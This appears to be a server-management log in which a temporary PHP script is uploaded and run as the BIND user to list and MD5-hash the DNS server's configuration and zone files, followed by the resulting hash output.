MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:28:37: Establishing a connection
2026-04-22 12:28:37: 

PUT: /tmp/pkp637083

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:28:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp637083; rm /tmp/pkp637083'

2026-04-22 12:28:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:28:43: Establishing a connection
2026-04-22 12:28:43: 

PUT: /tmp/pkp865552

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:28:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp865552; rm /tmp/pkp865552'

2026-04-22 12:28:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
